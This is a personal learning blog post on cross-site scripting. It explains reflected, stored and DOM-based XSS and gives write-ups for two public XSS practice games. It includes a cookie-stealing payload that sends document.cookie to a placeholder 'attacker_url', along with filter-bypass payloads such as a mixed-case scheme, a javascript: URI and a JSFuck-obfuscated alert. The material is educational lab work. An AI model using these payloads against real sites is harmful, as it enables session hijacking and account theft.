XSS, Learning and Playing

What’s XSS?

Before we understand the kinds of xss, we need to know what’s Same-Origin policy first because how much information can be got with xss is affected by the policy!
3 kinds of XSS:

  1. reflected xss:
    refered from the example in the The web application hacker’s handbook
    url/index.php?message=an+error+occured
    // the html page show <p>an error occured</p>
    

If we find the parameter value is copied into the html tag without filtered, we can inject <script>alert(1)</script> into the message of url, and pop up an alert window…
Another example: hijack session token with reflected xss

  • user logs in
  • attacker feeds user with malicious url and the user request with it
  • the server responded with the page containing the malicious js
  • the js executed in user’s browser then send his token to attacker domain
    Conclusion: the server responds to the crafted url
  1. stored xss:
    Such as discussion board or forum, user inject the malicious js into the text content.
    Example: hijack session token with stored xss
    • attacker crafted malicious text in the forum web page
    • a user log in and view the web page
    • when view the web page, user send request to the server and server respond with malicious js
    • again the js executed in user’s browser and send user’s token to the attacker domain
      Generally, stored xss is more malicious and easily get user’s token because reflected xss need user to log in and click attacker’s url first!
  2. DOM-based xss:
    In this kind of xss, js can always dynamically change the content of DOM. For example, document.write(message).
    the whole process is similiar to the reflected xss

Generally, the server parse user’s controllable data and respond in unsafe way

[MYTH] Why don’t the attacker directly craft malicious js on his domain such as attacker_url/index.php?message=<...src=attacker_url/index.php?cookie=document.cookie...>?
[Answer]: Same-Origin Policy. Cookie can only be responded to the issuing domain, and also only accessed by the js contained in domain page. Therefore, we must find the xss vulnerabilities on the domain page!

How to find XSS vulnerabilities?

I would just talk about how to think here.

  1. Find an injection point which could influence the content of web page.
  2. Insert <script>alert(1)</script> into the place.
  3. It may success because the web page just put the original value into the content.
  4. If it fail, there would be two reason:
    • The web page doesn’t copy the value into the content.
    • Your input has been processed by sanitation or decoding.

I will collect the way to bypass the filter on the cheatsheet in my github.
 

When the user log into the application, the page will issue a cookie containg token:
Set-Cookie: sessId=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Back to the server side’s perspective:
set-cookie(name, [expires, path, domain, secure, httponly])
expires: if not set,the cookie will be deleted at the end of session!
secure: sent in https protocol
httponly: the effient way to prevent cookie from accessing with js
cookie reference
So, how to hijack user’s cookie?  

  1. user logs in and get session token with set-cookie header
  2. hacker feeds user with malicious url:  
    url/hi?message=<script>var+i=new+Image;+i.src="attacker_url/"+document.cookie;</script>
    
  3. user request with malicious url
    the malicious js will be executed in user’s browser and send request to attacker domain,with his token:
    GET /sessId=xxxxxxxxxxxxxxxxxxxx HTTP/1.1
    Host: attacker_url
    

Play AND Practice

XSS game

Play the game here!
https://xss-game.appspot.com/
This is a basic practice of xss and I would record my writeup here.
Level 1~3: Code-auditing and close the prev_tag, it’s very easy so I will start from Level 4!

  1. Level4: timer in the url will put value into the time
    <img src="/static/loading.gif" onload="startTimer('');" />   // this is our target
    <script>
       function startTimer(seconds) {
         seconds = parseInt(seconds) || 3;
         .......................
    </script>
    

    with startTimer('timer');, I would like make it become startTimer(' ');alert('hi ');
    Besides, with parseInt() in the script, we need to encode our payload first and get %27%29%3Balert%28%27hi after URL-encode.
    Here is my POC: Level4

  2. Level5: Sometimes we may not need to insert any DOM ….
    <a href="">Next >></a>    // get from the next in URL
    

    Make it become <a href="javascript:alert(1)">.
    Here is my POC: Level5

  3. Level6: Some web application can dynamically load external js library.
     // Take the value after # and use it as the gadget filename.
     function getGadgetName() { 
       return window.location.hash.substr(1) || "/static/gadget.js";
     }      // The site will load from location.hash in the url
    

    Therefore, I can write a evil js on cloud and put after url hash.

    if (url.match(/^https?:\/\//)) {
         setInnerText(document.getElementById("log"),
           "Sorry, cannot load a URL containing \"http\".");
         return;
       }             // However, we cannot put such as https string into our url??
    

    I found that the regular expression is not case-senstive, so I can use hTTpS to bypass it….
    Here is my POC: Level6

Penultimate XSS game

Play the game here

  1. Level0
    <script>
     var site = "https://penultimate.github.io";
     var redirect = document.location + '';
     redirect = redirect.split("redirect=")[1];
     redirect = decodeURIComponent(redirect);
     if (redirect.indexOf(site) > -1 && redirect.split("://")[1].split("/")[0] === site.split("://")[1].split("/")[0]) {
       location.href = redirect;
     }
      </script>
    

    In this level, we need to be familiar with split().
    Besides, we can try our POC in Debugger in the developer tools!
    My POC:

    https://penultimate.github.io/challenges/XSS/000000-xss?redirect=javascript:alert(1);//https://penultimate.github.io
    
  2. Level1
    <script>
     function preventXSS(unsafe) {
       // Super secure XSS filter
       //            - Larry Lau
       return unsafe
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/"/g, "&quot;")
            .replace(/%/g, "ribbit")
            .replace(/alert/gi, "frog")
            .replace(/confirm/gi, "frog")
            .replace(/prompt/gi, "frog")
            .replace(/javascript/gi, "frog");
     }
     var url = document.location + '';
     var param = url.split("param=")[1];
     param = preventXSS(decodeURIComponent(param)).toUpperCase();
     if (param !== 'UNDEFINED' && param !== "") {
       location.href = param;
     }
      </script>
    

    I spend a little more time on this level because of the toUpperCase()
    Then I found someone’s talking about xss payload likes:

    ſ (%c5%bf) .toUpperCase() => S
    

    After seeing this, I have a try on level0:

    ?redirect=JAVASCRIPT:ALERT(1);   -> fail
    ?redirect=JAVASCRIPT:alert(1);   -> success! wt?
    ?redirect=JavaScript:alert(1);   -> success! 
    

    Now, I know we cannot change case of the keyword like alert(), but we can change the case of javascript:.
    So, I just need to obfuscate it, make the word become JAVASCRIPT after toUpperCase
    My POC:

    https://penultimate.github.io/challenges/XSS/000001-xss?param=javaſcript:[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
    

Reference

  1. The Web Application Hacker’s Handbook

Wait for more knowledge and practice….